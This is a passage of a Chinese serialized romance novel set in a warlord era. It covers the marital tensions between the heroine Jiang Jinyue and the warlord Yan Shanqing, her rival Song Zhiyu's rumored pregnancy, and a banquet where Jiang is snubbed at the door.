“怎么?傍上晏山青就觉得我们惹不起你了?你叫他来啊!有本事就把我们全家人都杀死!谁不知道他巴不得杀了我们姓沈的,我现在就给他这个机会!”
江浸月厉喝一声:“沈鹤,你闭嘴!”
沈鹤先是一愣,然后想起她做的种种事,出离愤怒:“你凭什么教训我?!”抬手就朝她的脸挥过去!
江浸月眼睛都是一睁!
然而那手还没碰到江浸月的脸,就被一只大掌扣住!
男人嗓音冷淡又尖锐,如一把锋利的暗器。
“既然那么替你大哥打抱不平,那么仇恨晏山青,怎么不去督军府找他?在这里冲一个女人撒气,只会显得你懦弱可笑!”
沈鹤看到来人,脸色一变:“蒋临泽,你怎么会在这里?!”
“我为什么在这儿需要向你交代吗?怎么?也想给我一个好看?”
他直接反手一扭,将沈鹤上半身压在餐桌上,“向她道歉!”
沈鹤就算怕蒋临泽,但也有自尊心:“我就不!她对不起我大哥,对不起我家,凭什么要我跟她道歉!”
沈鹤扯着嗓子大喊,“大家来评评理,是不是这个女人该死!”
蒋临泽加重手上的力道:“今天不道歉,我就废了你这只手!”
“你敢!!”
蒋临泽冷笑:“怎么?还觉得你沈家是南川省里的头号人物?改朝换代了,你们沈家没有江浸月什么都不是,有她在,才保得了你们全家的命,听懂了吗?”
“胡说八道!!”
“那我就废了你的手,看你还觉不觉得我是在胡说八道!”
蒋临泽从不开玩笑,江浸月脱口而出:“哥!不要!”
与此同时,又有一道哪怕是只听声音也觉得狠厉至极的男声盖过她:“当街羞辱我夫人,只是断一只手,未免太仁慈。”
“——来人!给我拉出去枪毙!”
第27章 你跟蒋临泽什么关系
晏山青一出现,原本闹哄哄看戏的人群纷纷后退。
而他带的兵,令行禁止,直接就从蒋临泽的手里将沈鹤提了出去,看起来就是要马上枪毙的。
沈鹤到现在终于不敢再扯着嗓子叫嚣,脸色煞白,但也没求饶,还是有点沈家人的骨气在的。
江浸月虽然也被沈鹤气到,但不可能眼睁睁看他死,她抓住晏山青的手:
“督军,不至于要人命的,他只是年纪小,不懂事,教训一下就可以。”
“不可能。”晏山青没那么好的脾气。
“他今天敢当庭羞辱督军夫人,明天就敢对我这个督军做什么,一个学一个的,我这南川也太乱了——拖出去!”
他要杀鸡儆猴!
围观人群都有些戚戚然,晏山青兵不血刃进南川,进南川后也风平浪静,让大家该干嘛就干嘛,都有些让人忘记他是一个入侵者。
江浸月知道晏山青从来不是良善之辈,何况沈家人一直是他的心腹大患,他早就想除之而后快!
她知道,所以刚才呵斥沈鹤闭嘴,让他倒茶,企图大事化小小事化了,免得落把柄给沈家惹祸。
可架不住沈鹤跟个炮仗似的找死!
江浸月下意识将目光投向蒋临泽,眼底带着祈求。
蒋临泽接到她的求助,走到晏山青面前,递上烟:
“晏督军,你好,我是蒋临泽。”
晏山青看着他,接了烟:“认识,之前在军政府见过。”
蒋临泽点头说:“督军好记性。督军刚接管南川,军政府怕督军缺什么、少什么,有什么不习惯、不好上手的,所以派我来给督军帮手。”
他拿出火柴,为晏山青点烟,凑近的时候低声说,“他毕竟是沈家的人,督军之前不顾军政府反对,出兵南川,还弄死了沈霁禾,现在又要杀沈家遗孤,我这份报告实在是不好写。”
“督军就看在夫人开尊口,以及我的薄面,还有长远考虑的份上,高抬贵手,饶他一条命。打断一条腿,让他当几个月的瘸子也够他受的,督军觉得怎么样?”
晏山青掀起眼皮看他,没吭声。
苏拾卷刚才在外围没有凑进来,这会儿才走到晏山青身边。
笑一笑说:“蒋先生是刚到南川吧?我们没提前收到消息,没给你办接风宴,要不就将就在这吃一口?见血是有点影响胃口……把人领到沈家门口打断腿,告诉沈家人好好教孩子,下次再这么不懂事,谁的面子都救不了。”
他对士兵挥挥手,示意他们马上把人带走,四两拨千斤,给了大家一个台阶下。
又看向江浸月,含笑说:“弟妹还没吃饭吧,坐下一起吃。老板,听说你们这儿老鸭汤做得有名,给我们上一份大的,再加几个拿手菜。”
老板现在也不敢再说什么“没有鸭子没有菜,不想招待”,战战兢兢地应了是,将围观人群驱散,赶忙为他们收拾出一张桌子。
伙计重新给他们上了一壶热茶,正要帮他们倒,苏拾卷挥挥手让他下去,不必伺候。
苏拾卷这个人是出了名的好脾气,不会计较什么身份不身份的,给每个人都倒了茶。
江浸月道谢。
晏山青看了她一眼,然后对蒋临泽说:“这杯茶,我先敬蒋先生,谢你替我夫人出头。”
说是要敬茶,他茶杯都没有端起来。
蒋临泽拿起了茶杯,不卑不亢道:“督军客气了,应该我敬你才对,我要在南川待一段时间,少不了给督军添麻烦,督军别介意。”
晏山青不置可否:“听蒋先生的口音是南川人?”
“小时候在南川住过一段时间,后来去了西江,这些年也是到处跑,说不上是哪里人。”
“原来在南川住过,难怪刚才听见我夫人叫蒋先生‘哥’。”
江浸月:“……”
蒋临泽在军政府做事,自然是八面玲珑,话也回得很漂亮:
“让督军见笑了。我小时候流落南川,多亏江家好心收留,给了口饭吃。我年纪虚长三小姐几岁,她念旧,礼貌,所以喊我一声‘哥’。”
晏山青这才端起茶杯:“原来是这样,我还以为大舅子来了。”
蒋临泽说:“不敢不敢。”
这时,服务生又端上来一道菜,是此地有名的香煎小河鱼,炸得酥脆,香气扑鼻。
那盘子刚放下,蒋临泽便极自然地伸手,仿佛只是调整菜式位置,将另一盘素菜换到了江浸月面前,同时笑着对晏山青和苏拾卷道:
“这道鱼看着不错,两位尝尝。”
动作行云流水,不见丝毫刻意。
晏山青的目光却骤然沉了下去。
他听管家说过,江浸月不挑食,唯独不吃这种带细小骨刺的河鱼。
说是因为小时候不小心卡过喉,留下了心理阴影,所以不敢再吃。
这不是什么众所周知的事情,这个分别多年的“哥哥”,却还记得一清二楚。
这顿饭的后半程,晏山青的话明显少了很多,周身的气压也低了几分。
一顿饭吃完,苏拾卷说要带蒋临泽在夜市里逛逛,两人就先一道走了。
江浸月跟着晏山青到了车边,以为是要回家,晏山青却靠着车门看她:
“夫人没什么话想跟我说?”
江浸月有些不太明白他这突如其来的诘问:“督军是指什么话?”
晏山青直接问:“你跟蒋临泽是什么关系?”
江浸月微微一怔:“蒋先生刚才不是已经解释过了吗?”
“这么说,你们也不算熟?”
“已经有很多年没联系了。”
晏山青突然抓住她的手腕,将她朝自己猛地一拽!
江浸月猝不及防,整个人跌到她的身上!茫然又无措地抬起头,却见他的眼神冷了下来:
“很多年没联系?那你想让我放过沈鹤,看的不是我,而是他,什么意思?是觉得你的话在我这不管用,还是更相信他能让我收手?”
!江浸月才知道,她看蒋临泽的那一眼,也被晏山青捕捉到了,并且由此认为她信任蒋临泽,她说“多年没联系”是撒谎骗他的!
她立刻说:“督军误会了,我……”
第28章 被他遣送回娘家
晏山青没心情听她解释,直接打断她的话:“还有,你费那么大的功夫保下的沈家人,你看他们领你的情吗?都敢当街骂你是荡妇了。”
江浸月抿唇:“我做这些不是为了让他们感激我,只是觉得,我应该这么做。”
“哪怕他们恨你入骨,你也还是要保他们?”
“……督军严重了,沈鹤只是年纪小不懂事,沈家其他人不是这样的。”
晏山青看着这个女人,只觉得,她为了沈家,还真是“低声下气、忍辱负重、委曲求全、以德报怨”。
由此可见,她对沈霁禾也是情深义重。
左一个沈霁禾,右一个蒋临泽,他的好夫人真是博爱,今天还撩他,是想让他也成为她的裙下之臣?
晏山青哂笑了一下,放开她的手:“行啊,既然你这么惦记旧人、惦记娘家,那就回去好好聚聚,最近几天不用回督军府了。”
江浸月彻底愣住:“督军,这是什么意思?”
“意思就是,”晏山青拉开车门,居高临下地看她,声音没有任何起伏,“回你的江家去,这次你想待多久就待多久。”
话说完,他弯腰上车,车门“砰”地一声关上,汽车直接启动,从她身边疾驰而去,只留下一地烟尘。
江浸月呆立在原地,晚风吹起她的衣摆,带来一丝凉意。
她过了好一会儿才慢慢反应过来——
她这是,被晏山青遣送回娘家了。
一般女子回娘家,可能会下夫家的面子,但她被送回娘家,传出的风声就会是“江浸月被督军厌弃,地位不保”。
江浸月轻轻咬住后牙,不明白是为什么?
明明白天在军营还好好的,现在突然就这样了?
……
晏山青没有回督军府,而是去了议事处,处理一些公务。
还没处理完,苏拾卷就来了,关上门说:“军政府明显对你夺南川的事不满。”
晏山青漫不经心:“何以见得?”
苏拾卷说:“蒋临泽是江家的养子,跟沈霁禾也是从小到大的朋友,派他来‘帮’你,不就是给你添堵吗?”
晏山青冷淡,点了根烟:“我心情好的时候,给他们军政府三分面子,我心情要是不好,什么政府都给老子滚蛋。添堵?他们要是敢,那就看谁给谁添堵。”
当今天下,军阀割据,军政府只是名义上的中央政府,实际上对各地军阀的控制能力薄弱。
军阀与军阀之间为了抢夺地盘和权利,经常发生军事冲突——就比如晏山青和沈霁禾这次事件,军政府不满,但又能怎么样?
如今的晏山青,手里有东湖和南川,实力雄厚,军政府不敢跟他翻脸的,最多就是派个人来给晏山青找点不痛不痒的茬。
苏拾卷了解晏山青,这人狂妄归狂妄,实际心里非常有分寸,就没多说。
他是战友,是兄弟,是军师,是必要时跟他唱红脸的,但不能教他做事。
转而道:“大晚上的,你怎么又抽烟?”
晏山青将烟摁灭在烟灰缸,神色并不算好看:“没什么。”
苏拾卷看了看他,不多话:“行,你说没什么就没什么。”
……
江浸月被晏山青送回娘家的事,直到第三天才传出督军府。
大家都在猜,江浸月做了什么惹怒督军,督军居然动了这么大的火气,将过门不到一个月的妻子赶出督军府?
有人结合那日的餐厅事件分析,说是沈鹤那么一闹,让督军觉得没面子,所以迁怒江浸月。
也有人说,军政府派蒋临泽桎梏督军,督军将不满转嫁到江浸月的身上。
各种风言风语里,有人嗤笑道:“哪有那么复杂的原因?沈家在督军眼里就是一只蚂蚁,蹍死他们比喝口水还容易,哪里值得他动气?”
“至于蒋临泽,他当年从江家离开也闹得难看,早就跟江家没关系了。还有人看到晏督军跟蒋临泽一起出城打猎,关系明明很好啊。”
“晏督军不要她江浸月,纯粹就是因为过了新鲜劲,后悔娶这么个女人了,现在只是遣回娘家,估计过几天就离婚喽。”
明婶听了直着急,江浸月倒是说:“传播速度慢了。”
明婶不明白她的意思:“什么慢了?”
“我被送回娘家这么大的事,居然用了三天才传出督军府,不像我跟晏山青没圆房那件事,随时随地在更新,所以说传播的速度慢了。”
“那、那又怎么样?还是传出来了呀!现在全城都在看您的笑话呢!”
这就说明宋知渝收敛了,不敢再随便散播事情,这件事是自然传开,而不是人为推动。
江浸月慢吞吞地吃着母亲为她炖的花胶红枣排骨汤。
明婶不禁问:“夫人,您一点都不担心吗?万一督军真的要跟您离婚怎么办?”
被送回来的时候,江浸月担心过这个,还绞尽脑汁思考了很久,自己到底哪得罪他?应该怎么自救?
可想来想去都没有办法。
晏山青性格喜怒不定,前一秒可以搂着她教她开枪,后一秒就将她遣送回娘家。
这样的人琢摸不透,根本没有办法对症下药。
既然怎么都没办法,江浸月反而是放松了,随意道:“静观其变吧。不会离婚的,我跟他这场婚姻是政治联姻,他不会说不要就不要的。”
明婶不赞同她的乐观:“夫人,我今天出门买菜,趁机找辛儿打听。辛儿说,自从您回了娘家,督军这几天都住在琼华苑!您就不怕他正式将人纳为姨太太?”
江浸月笑道:“在我嫁进督军府之前,他们不也是天天待在一起吗?要纳早纳了。再说了,他不纳宋知渝,也会纳别人,你见过哪个督军家里只有一位夫人?”
除了沈霁禾。
但不是人人都是沈霁禾。
“可也不能是现在啊,您才刚过门他就纳了别人,那您以后在督军府就是空头头衔的督军夫人了!”
“……”
江浸月放下汤匙,明婶的话不无道理。
晏山青或许不会离婚,但他如果彻底厌弃她,让她成为一个摆设,那她想保住江、沈两家的计划同样会落空。
江浸月沉吟片刻,对明婶道:“你去一趟督军府,找督军的副官,就说我昨日练枪,手臂被后坐力震得酸痛,问督军可有推荐的药油能缓解?”
明婶眼睛一亮!
立刻明白了,夫人这是主动递出的和解信号,连忙应下:“哎!我这就去!”
第29章 宋知渝怀孕?!
半个小时后,军政处。
晏山青正在批阅文件,副官低声禀报门外的明婶的来意。
晏山青抬起头,鼻间极淡地哼笑了一声。
这女人倒是会找台阶下,还专挑靶场的事来说,是在提醒他那日暧昧吧?
晏山青身体椅背上一靠,手里随意地转动钢笔。
那天在餐厅他确实是动了怒,觉得她“朝三暮四”,但这几天气已经消得差不多了。
说到底她也没犯什么十恶不赦的大错。
“告诉她,每天晚上用滚热的毛巾热敷十分钟,再用樟脑薄荷膏揉开,军营里都是这样处理。”
他语气平淡,听不出情绪,交代完就挥挥手让副官去回话,自己则继续办公。
副官领命,出门告诉明婶。
明婶先是一喜,觉得晏山青愿意接台阶,随即又是迟疑:“督军……没说别的了?”
没说什么时候接夫人回家?
副官摇摇头:“督军只说了这一句话。”
“……”
明婶不明所以地回了家,将药膏和话转交江浸月。
江浸月拧开药膏盖子,闻到一股辛辣清凉的气味。
她用指腹沾了药膏,慢慢揉着手臂。
明婶上前帮她按揉,一边问:“夫人,督军肯告诉您用什么药就是不生气了,但为什么还不接您回去呢?”
江浸月转动思绪:“那你明天再去一趟。”
这次的说辞是:“夫人说,有幸得督军亲自教导枪法,她不敢荒废,想着在娘家这些时日也练练手,免得生疏了,那就辜负督军的一番好心了。”
“所以想请教督军,新手女子用何种枪械更为适宜?她好托父兄寻一把来练习。”
军政处里,苏拾卷正好也在,听副官复述完,直接笑了出声,对晏山青道:
“外界都传你厌烦了弟妹,早晚要离婚,谁知道你们玩起了‘飞鸽传书’,这么腻歪。”
晏山青舌尖抵了抵腮帮,眼底掠过一丝几不可查的笑意。
这女人,借口找得一套一套的。
他拔出自己枪袋里那把勃朗宁M1910,丢给副官:“把这个给她。告诉她,这把轻便,后坐力也小,适合她练。子弹我晚点让人送去。”
苏拾卷挑眉:“哟,贴身手枪都送出去了?定情信物?”
晏山青横他一眼,没接话。
副官也暗暗意外督军对夫人的大方,连忙双手捧枪出去。
苏拾卷走近晏山青:“既然都不生气了,干嘛还不去把人接回来?”
晏山青点了一支烟,抽了一口,才慢悠悠道:“她上次回门,被我半道截去宴会,没能跟家人好好团聚。这次,就让她待个够。”
苏拾卷看了他两眼,却觉得,他好像是在享受江浸月的主动?
……
江浸月收到明婶带回来的勃朗宁时,着实愣了一下。
这枪一看就知是他贴身之物,擦得锃亮,他竟然就这么随手给了她?
她眨了眨眼,实在看不明白晏山青这态度到底是什么意思?
说不生气了,却还是晾着她;说还在生气,又连贴身的枪都给了她。
她一头雾水地收起枪,但没有再让明婶去传话。
他晾着她,那她也晾一下他,看看他会不会做什么?
江浸月这边还能沉得住气,江夫人却是真的担忧了。
眼见女儿回来一住就是七天,外面风言风语愈演愈烈,什么难听的话都有。
她忍不住去找江浸月:“皎皎啊,你和督军总不能一直这么下去吧?”
江浸月拍拍母亲的手,安慰道:“妈妈,别担心,我心里有数。”
江夫人还想说什么,江浸月就眯起眼,仰起头说:“妈妈,帮我看一下眼睛,早上起来觉得很疼。”
江夫人连忙靠近帮她看:“是不是干眼症又犯了?”
江浸月才想起来自己有干眼症。
这个毛病源于在国外求学时用眼过度,后来回国就好了,已经很多年没犯了。
江夫人看她眼眶微微泛红:“怕是要发炎了。让你大嫂陪你去西医院看看。”
江浸月好笑地说:“妈妈,我自己就是医生。”
江夫人轻轻点了点她的鼻子:“但你治不好自己的干眼症。”
江浸月辩解:“这个本来就是治不好的。”
江夫人莞尔:“去西医院开点眼药水吧。”
干眼症不是病,但犯起来是真难受,江浸月点了点头,下午就让盛叔送她和大嫂去西医院。
医生看过,说不严重,开了眼药水,叮嘱她最近少用眼,多闭目,可喝些菊花枸杞茶。
天气渐渐转凉,大嫂又想给大哥做件外套,她们便顺利去了常光顾的祥记裁缝铺。
裁缝铺比成衣店好在可以量身定制,可以挑选喜欢的布料与中意的款式。
厚实的冬季布料在二楼,她们在楼上挑着,江浸月忽然听见楼下传来一道熟悉的女声。
她走到楼梯边往下看,果然是宋知渝带着他的丫鬟。
老板娘满脸笑容地迎了上去:“宋小姐,您怎么来了?”
宋知渝笑着说:“天气转凉,想做几身厚衣服。”
老板娘殷勤道:“那您让人过来知会一声,我们带着布料上门,哪劳动您亲自过来。”
“没事,反正我也喜欢走走。”宋知渝翻了翻布料,语带笑意,“还要辛苦老板娘帮我重新量量尺寸,我感觉最近腰围有点紧,可能是吃胖了。”
丫鬟逗趣道:“小姐才不是吃胖了,明明就是有喜了!”
江浸月整个人都是一怔!
“别胡说。”宋知渝娇嗔一声,但那语气怎么听都不是真否认。
老板娘连忙捧道:“那真是恭喜宋小姐了。”
丫鬟也嘚瑟起来:“老板娘,你家还有什么好的、罕见的料子,都拿过来让我们小姐挑,我们老夫人说了,要选个好日子迎我家小姐进门!”
大嫂也来到江浸月身边,听到这些话,有些着急,差点忍不住要下楼去问她们说的是真是假?
江浸月挡住了她,拉她继续去选布料,表面看平平静静,其实已经有些心不在焉。
——宋知渝真的怀孕了?
她如果真的怀了,以老夫人对她的喜爱程度,肯定会正式抬进门做姨太太,甚至是平妻。
江浸月倒不难过,就是觉得有威胁。
她的地位本就摇摇欲坠,如果再来一个有身孕的平妻,那她的权利就更小了,她还怎么护住江、沈两家?
但江浸月不是那种,觉得对方威胁,就使阴招,比如把人家孩子弄没有人。
且不说她没那么恶毒,就说她也不蠢,晏山青的第一个孩子要是折在她手里,她和江、沈两家都得陪葬,那就违背她的初衷了。
江浸月深吸了口气,逼迫自己冷静。
其实……其实宋知渝怀孕,对她也不是完全没有好处。
起码她养胎这段时间就伺候不了晏山青,那这就是她的机会,等她怀胎十月生完孩子,晏山青的心在谁身上,那就不一定了。
江浸月想到这里,自嘲地扯了扯嘴角,她居然沦落到这个地步,要算计这种东西。
明明她以前是最厌恶这些后宅争斗的。
这时,楼梯传来脚步声,宋知渝她们也上了楼。
宋知渝看到江浸月,一副惊讶的样子:“这么巧?夫人也来买衣服?”
第30章 弟妹哭了,你心疼不
江浸月神色已然恢复如常,给了她一个微笑,而后对大嫂说:“就买这个料子吧,厚实保暖,保管大哥就算去练兵也冻不着。”
话音刚落,一只素手就从旁边伸了过来:“这个料子确实不错,我也想给督军做一身。”
祥记裁缝铺在南川小有名气,除了设计好,另一个原因就是他们家的布都是孤品,每种只有这么一匹。
她们挑了这么久才挑中这一块,当然不愿意被宋知渝抢了去。
大嫂直接将整匹布抱过来:“宋小姐看看别的吧,这匹我们要了。”
江浸月看得清清楚楚,大嫂根本没有碰到宋知渝,然而宋知渝却像是被推了,整个人朝后倒去——
丫鬟急忙扶住她,疾声道:“你小心点!我家小姐可是有身孕的!”
大嫂回头一看,宋知渝已经站稳了,脸色微白,顺着胸口。
江浸月立刻问:“宋小姐,你没事吧?有没有哪里不舒服?我也略懂谢医术,给你把把脉看看?”
“没事,没事。”宋知渝笑笑说,“夫人别听丫鬟胡说,我哪有怀孕……既然夫人看中那匹布,那就让给夫人。”
“……”
不是“让”。
这匹布,本就是她们先看中的。
她这么一说,倒像是她们抢她的。
大嫂愤愤不平。
江浸月打量着宋知渝,她嘴上说自己没有怀孕,但却又别有深意地摸了摸自己的腹部。
宋知渝对丫鬟说:“就要楼下那匹布吧,让老板娘帮我量好尺寸,然后我们就回去了。”
丫鬟似乎瞪了大嫂一眼,大声说:“好!免得督军回来看不见小姐您,又要担心!”
两人就这么下了楼,有说有笑的。
大嫂觉得十分憋屈:“她一个还没过门的人,怀了孕也是名不正言不顺,得意什么啊!”
江浸月的眼底也凝了一层冰霜。
·
宋知渝和丫鬟走出店门,刚巧碰上要进门的苏拾卷。
宋知渝惊讶:“苏先生。”
苏拾卷也略感意外:“宋小姐来做衣服吗?”
“是啊,您也是?”
“有件衣服线开了,让老板娘帮我缝一下。”
宋知渝调侃道:“苏先生应该娶一位贤妻,这样缝缝衣服这种事,就不用特意出来找别人了。”
苏拾卷只是笑一笑。
宋知渝和丫鬟走后,苏拾卷进店拿自己的衣服,江浸月和大嫂也从楼上走下来。
苏拾卷愣了愣:“弟妹。”
江浸月礼貌微笑,对他点了点头:“苏先生来买衣服吗?我们刚买完,要去看别的,先走了。”
她挺敷衍的,打了个招呼就要走。
苏拾卷想到什么,立刻追出去:“弟妹!”
江浸月转身:“苏先生有事吗?”
苏拾卷看到她泛红的眼眶,斟酌了一下语句:“山青最近忙,没空陪你,所以才让你回娘家跟家人聚聚,他忙完了,一定去接你。”
江浸月只是说好,然后就跟着大嫂走了。
苏拾卷拿了衣服,直接去议事厅找晏山青:“你猜我刚在街上遇到了谁?”
晏山青正在看刚从西江发来的电报,随口说:“你的小妈?”
这话直戳苏拾卷痛处,他骂了一句“去你的”,又道:“我遇到弟妹了。”
晏山青面不改色:“南川真小。”
“更小的是弟妹遇到了宋小姐。”苏拾卷手指敲了敲桌子,“也不知道宋小姐跟弟妹说了什么,反正我看到弟妹哭了。”
晏山青终于抬起头:“什么?”
苏拾卷强调道:“她哭了,红着眼睛出来的。”
晏山青停顿了那么几秒。
苏拾卷:“我特意问了老板娘她们说了什么?老板娘说宋小姐称自己怀孕了,还说老夫人要挑个好日子让她过门,弟妹听到这些话,能不难受吗?”
晏山青眉头紧皱:“什么乱七八糟?”
苏拾卷老神在在:“你觉得是乱七八糟的话,别人听着却是有理有据,现在大家都说宋小姐才是晏家的女主人,平日有个什么喜事要办宴席,请帖都是送到宋小姐那儿——包括后日陈老夫人孙子的满月宴。”
晏山青神色有些冷。
……
江浸月和大嫂逛了一圈南川城,回到府里,却看见母亲满脸笑容。
“怎么了妈妈?”
江夫人笑着说:“刚才督军派人来送信,说后天晚上陈老夫人孙子的满月宴,让你一起去。”
江浸月意外:“真的是晏山青派人送的信?”
“是啊,是他的副官亲自来送的话,说督军那天要开会,时间上错不开,让你直接去陈家,你们在那见面。”
江夫人很高兴,“督军还特意吩咐,说你若不想去,也不必勉强,这就是体贴关心你,想要和好的意思啊。”
江浸月心忖是她“晾着他”的招数起作用了?还是这种大场合,督军夫人不在场不合适,所以才让她一起去?
不过无论哪种都好,晏山青既然递台阶过来,她没道理不顺着下。
江浸月端起茶杯喝了一口:“嗯,陈老夫人是做茶叶的那位吗?”
江夫人说:“是的,也是南川的清贵世家了。”
江浸月有些不屑地哂笑。
确实是南川城的“清贵世家”,晏山青入城那天,就赶着给晏山青送去贺礼。
说到底,最爱沈霁禾的,是南川省的百姓们。
沈霁禾在位时对百姓很好,下发的各种政令都是有利于百姓的,比如严禁鸦片和娼妓,这就天然站在了权贵阶层的对立面。
因为做这些营生的,背后的大老板,十有八九都是权贵。
沈霁禾倒了,换一位督军,他们觉得机会来了,所以十分欢迎、讨好晏山青。
后天晚上一到,江浸月便梳妆打扮,对镜戴耳环。
珍珠圆润细腻,她抚摸着,想起这对耳环还是沈霁禾送给她的……
她叹了口气,而后起身,让司机送她到陈家。
陈家在南川当地很有名,满月宴遍邀亲朋好友,十分热闹,停车都要排队。
盛叔说:“夫人,您先进去吧,我去停车。”
“不急,晏山青还没来,我在车上坐着吧。”
她跟那些贵妇没什么好聊,与其早早进去听她们的假意奉承或者阴阳怪气,不如在车上静坐。
江浸月按下车窗,吹着夜风,倒也惬意。
这时,有一辆车没有排队,直接开向陈家。
宋知渝从车上下来,走进陈家。
第31章 羞辱江浸月!
陈小夫人听说她来了,连忙迎了出来:“宋小姐!”
她亲亲热热扶着宋知渝,“你小心脚下,要是看不清路,我再让人提盏灯笼过来,可千万别摔了,你现在的身子金贵啊。
宋知渝羞涩一笑:“哪儿金贵了?你才金贵呢,为陈家生下了小孙子,是大功臣!”
两人也就见过两三次,却亲得跟“好姐妹”似的,说说笑笑地往里走。
宋知渝故作随意地问:“你们给督军夫人送请帖了吗?”
陈小夫人转了转眼睛:“那当然没有,都请了你了,怎么还会请不相干的人?”
宋知渝故作随意地说:“刚才好像看见江家的车,想着督军也没说让夫人一起来,她怎么自己来了?以为是你们请的呢。”
这话就是在暗示,江浸月是自己跑来的,不是晏山青叫的,那么给她一个“好看”,不会有什么后果。
陈小夫人心领神会,笑着说:“我先带你上座吧,外面的事,我知道怎么处理。”
宋知渝侧头瞥向门外江浸月的车,笑意不达眼底。
终于轮到江浸月的车停靠。
江浸月从车上下来,走向陈家,却被门口的小厮拦住:“这位夫人,请问您有请帖吗?没有请帖不能进的。”
盛叔解释:“这位是督军夫人。”
小厮笑笑:“我们不认识什么督军夫人督军小妾的,只认请帖。否则随便来个阿猫阿狗自称是谁谁谁,我们就放进去,万一打扰了真正的贵人们可怎么好?夫人如果没有请帖,就别为难我们了,请离开吧。”
江浸月神色寡淡地看着他,已然心知肚。
她在这南川无人不知无人不晓,这小厮怎么可能不认识她?
拦她分明就是故意的。
她要是没记错,刚才过去的那辆车是督军府的,晏山青有公事没那么早到,所以过去的那个不是晏山青,而是——宋知渝。
宋知渝让人拦她,给她难堪,是想让她闹起来,或者灰溜溜地离开。
可惜江浸月两条路都不打算选。
她脊背挺直如竹,裙摆被夜风卷起涟漪:“那我就在这里等着。”
小厮茫然:“……等什么?”
当然是等晏山青来,看他怎么处置这件事?
·
陈小夫人接到门口小厮的禀报,有点心惊。
她以为以江浸月的身份,这么被拦在门外,肯定会觉得难堪。
那么她最可能做的事——
要么是直接大吵大闹,那她就彻底在全南川人面前丢脸,哪怕是督军来了看见,也只会觉得厌烦,将她赶走;
要么是灰溜溜离开,那也好啊,她卖给宋知渝一个人情,搭上她就是搭上督军府的线,以后活动起来也方便。
可没想到她竟然不按常理出牌!
她好歹也是大家闺秀,又先后做了两任督军的正室,竟然这么舍得下面子,站在门口,一点都不觉得丢人……
这要是等晏山青来了,看见他们这么怠慢他的夫人,会不会生气啊?
陈小夫人先是慌里慌张,但转念一想,又觉得不会。
人人都知道晏山青将这位结婚不到一个月的新婚妻子遣送回娘家不闻不问,宋知渝还怀孕了,他现在眼里心里就是只有宋知渝。
而且拦下江浸月也是宋知渝授意她做的,天塌下来还有宋知渝顶着,她怕什么?
她什么都不用怕!
想到这里,陈小夫人就又冷静了。
对小厮说:“她想站就让她站着,别理她。”
于是。
等晏山青的车靠边停下的时候,他在车里就看到他那位我见犹怜的夫人,一个人孤零零站在大门边。
赴宴的宾客从她身边经过进门,都会回头看她一眼,恶意嘲笑“都这样了还敢来,真是自取其辱”,或者揶揄道“她要不是豁得出去,哪当得上督军夫人”。
句句如刀。
而她呢?像是听不见、看不见,一点都不觉得难堪。
晏山青推开车门,军靴碾过青石板,凌厉如刀锋,走到她面前:“陈家雇你杵在这儿当门神?那陈家还挺出得起价。”
江浸月转身,晏山青蓦然看到她眼眶微红,像刚哭过那样。
他脸上的表情顿时收了起来,嗓音微沉:“到底怎么了?为什么站在这儿?”
江浸月如实道:“他们说我没有请帖,不能证明我是哪只阿猫阿狗,所以不让我进去,我只能在这里等督军来证明我身份了。”
晏山青看向门口的小厮:“没有请帖就不能进?陈家规矩这么大?”
一个看门小厮,哪敢跟手握南川与东湖两大重省的晏山青说话啊,磕磕巴巴地挤出几个字:“督、督军,这是我家小夫人的吩咐,我只是听命办事……”
晏山青意味不明地笑了一下,什么都没说,直接跨过门槛,自己进去。
陈小夫人听说晏山青自己进来了,压根没理门口那个女人,心下暗喜,觉得自己果然没错!晏山青果然一点都不在乎他这个夫人,拦她没什么后果,她抱宋知渝的大腿是抱对了!
看着晏山青大步走进门,她马上扶起宋知渝,满脸笑容地迎了上去:“晏督军来了——”
她故意拔高音量,让所有宾客都知道,他们陈家请得动这位南川新主!
宾客们纷纷回头,又都站起身来迎接,暗忖陈家果然有实力!
晏山青只走到宴会厅前,从口袋里拿出烟,含在唇间,点燃,吐出口烟雾,扫视厅堂里所有人。
突然问:“哪位是陈小夫人?”
陈小夫人刚好走到他面前,冷不丁被他点名,微微一愣,下意识说:“督军找我吗……”
晏山青上下看了看她:“就是你把我夫人拦在门外?”
没给陈小夫人反应的时间,他陡然怒喝:“你们陈家好大的威风!”
“!!”
陈小夫人一个后宅女子,从来没有见过杀伐气如此之重的男人,被他一喝,整张脸刷的一下煞白!
“督、督军这是何意啊?”
“还敢问我是何意?我夫人赏脸来赴你家的宴,却被你家拦在门口吹冷风,不知道的还以为你们陈家的门槛是金子做的,不是大罗金仙没资格进来呢!”
陈小夫人这才明白,他是在替江浸月出头!!
这跟她想象的完全不一样!晏山青不是不在乎他这个妻子吗?!
第32章 督军算账,见血为止
陈小夫人惊恐地看向宋知渝。
却见宋知渝已经动作利索地跟她拉开距离,还满脸惊讶地对晏山青道:“夫人被拦在门外?天啊,怎么会这样呢?”
她立刻走出去,“夫人,他们竟然把你拦在外面,真是……这肯定是误会!夫人快请进,督军正在为这事儿大发脾气呢。”
江浸月被她请进去,一进去就看到晏山青像一座山似的立在宴会厅前,一个人对峙一群不知所措的宾客,而他对面的女人的脸色已经不能看了。
“督军。”江浸月喊了他一声。
晏山青握住她的手腕,将她带到自己身边,搂住她腰。
江浸月下意识低头去看他的手。
很大的手掌,圈住她的细腰。
“来,还有谁不认识我夫人的,都站出来好好认认,再说她是不知名的阿猫阿狗,我把你们的眼睛都挖出来!”
哪有人敢吱声啊!!
那些嘲讽过江浸月的人,几乎把头低到地缝里,生怕晏山青收拾完陈小夫人就要来收拾他们!
江浸月看着这一幕,觉得好笑,也就笑了一声。
晏山青听见她声音,低头看她,她无论是被拦在门外,还是被请进府内,神情都没什么变化。
她好像是真的不太在乎外人怎么看待她,只坚定做自己的事。
难怪小小的身躯,却敢背负天下骂名。
一位老夫人杵着拐杖,被下人搀扶着快步从内堂迎出来,慌忙道:“督军恕罪,是老身管教不严,督军千万别跟这些蠢货计较!”
这位就是陈老夫人,陈家份量最重的。
她亲自请着他们:“督军、夫人恕罪恕罪,您快请进,主桌上座。”
可惜晏山青不是道个歉就能翻篇的人:“吃饭不着急,先把话说清楚——为什么要拦我夫人?”
他就是没打算善了!
陈老夫人也没想到自己只是在内堂休息片刻,儿媳就做出这种蠢事!
她握着拐杖,重重杵地:“你这个蠢货!还不快向督军和督军夫人解释!认错!”
陈小夫人又是被晏山青吓唬,又是被婆婆呵斥,已然意识到自己闯了多大的祸,也是怕了,双腿发软,差点跪下。
